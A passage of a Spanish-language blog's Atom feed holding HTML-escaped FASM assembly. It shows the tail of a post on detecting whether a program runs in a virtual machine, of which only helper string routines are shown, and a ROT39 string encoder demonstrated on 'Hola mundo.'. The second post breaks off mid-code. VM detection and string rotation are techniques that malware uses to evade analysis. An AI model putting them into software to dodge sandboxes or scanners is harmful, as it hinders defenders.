127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;edx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jmp&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;salir&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;endif&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmp&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jne&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;bucle&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;Falso&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;FALSE&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;salir&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edx&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;ret&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;endp&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt; comparar &lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;SRC&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;DST &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;Funcion que compara&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;push&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;-1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;SRC&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;al&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;repnz&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;scasb&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;not&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;SRC&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;DST&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;repz&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmpsb&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jnz&lt;/span&gt; Next&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;dec&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br /&gt;Next&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;ret&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;endp&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt; Len&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;cCadena   &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;Funcion que mide la cadena&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;push&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;-1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;cCadena&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;al&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;repnz&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;scasb&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;not&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;dec&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;ret&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;endp&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;end&lt;/span&gt; start&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/525026250660735124-9114434383685381502?l=diariodeyst.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://diariodeyst.blogspot.com/feeds/9114434383685381502/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=525026250660735124&amp;postID=9114434383685381502&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/525026250660735124/posts/default/9114434383685381502'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/525026250660735124/posts/default/9114434383685381502'/><link rel='alternate' type='text/html' href='http://diariodeyst.blogspot.com/2009/07/isvirtualpcpresent-detecta-si-estamos.html' title='IsVirtualPCPresent - Detecta si estamos siendo ejecutados en una maquina virtual .'/><author><name>YST</name><uri>http://www.blogger.com/profile/06921749862062454422</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-525026250660735124.post-4912751402558016845</id><published>2009-07-17T14:02:00.001-07:00</published><updated>2009-07-17T19:55:33.967-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ASM'/><title type='text'>ROT39</title><content type='html'>&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;include&lt;/span&gt; &lt;span style="color: rgb(127, 0, 127);"&gt;'win32ax.inc'&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;code&lt;/span&gt;&lt;br /&gt;start&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; Len&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"Hola mundo."&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; ROT39&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"Hola mundo."&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; MessageBox&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"Encriptado:"&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; ROT39&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; MessageBox&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"Desencriptado:"&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; ExitProcess&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;LOWER_LIMIT = &lt;span style="color: rgb(0, 0, 255);"&gt;48&lt;/span&gt;&lt;br /&gt;CHARMAP  = &lt;span style="color: rgb(0, 0, 255);"&gt;39&lt;/span&gt;&lt;br /&gt;UPPER_LIMIT  = &lt;span style="color: rgb(0, 0, 255);"&gt;125&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt; ROT39&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;pString&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;pLargo&lt;br /&gt;locals&lt;br /&gt;nCode &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;dd&lt;/span&gt; ?&lt;br /&gt;endl&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;pLargo&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;inc&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; GlobalAlloc&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;GPTR&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; cRtlMoveMemory&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;pString&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;pLargo&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;dec&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;pLargo&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;xor&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;dec&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;bucle&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;inc&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;movzx&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;nCode&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;nCode&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt; &amp;gt;= LOWER_LIMIT &amp;amp; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;nCode&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt; &amp;lt;= UPPER_LIMIT&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;nCode&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;CHARMAP&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;nCode&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;nCode&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt; &amp;gt; UPPER_LIMIT&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;nCode&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;sub&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; UPPER_LIMIT&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;LOWER_LIMIT&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;dec&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;nCode&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;endif&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;endif&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;nCode&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;cl&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmp&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;pLargo&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jne&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;bucle&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;ret&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;endp&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt; Len&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;cCadena &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;Funcion que mide la cadena&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 